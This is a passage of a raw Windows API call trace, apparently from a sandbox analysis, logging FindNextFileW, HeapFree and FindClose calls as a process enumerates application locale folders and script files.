ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0200.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.649] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0200.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.650] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0200.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.650] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0200.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.650] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0200.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.650] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0200.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.651] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0200.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.651] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0200.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.651] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0200.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.651] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0200.652] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.652] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0200.652] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.652] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0200.652] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.652] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.653] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.653] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0200.653] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.653] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0200.653] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.653] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0200.653] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0200.653] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.653] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0200.654] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.654] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0200.654] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0200.654] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.654] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0200.654] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0200.654] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.654] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0200.654] FindClose (in: hFindFile=0x4420860 | out: hFindFile=0x4420860) returned 1 [0200.654] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.671] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1 [0200.871] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.871] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0200.871] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.871] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0200.871] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0200.871] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.872] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1 [0200.872] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.872] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0200.872] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.872] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0200.872] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.872] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0200.873] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.873] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0200.873] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.873] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0200.873] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.873] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0200.873] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.873] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0200.873] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.874] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0200.874] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.874] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0200.874] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.874] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0200.874] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.874] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0200.874] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.874] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0200.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.875] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0200.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.875] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0200.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.875] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0200.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.875] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, 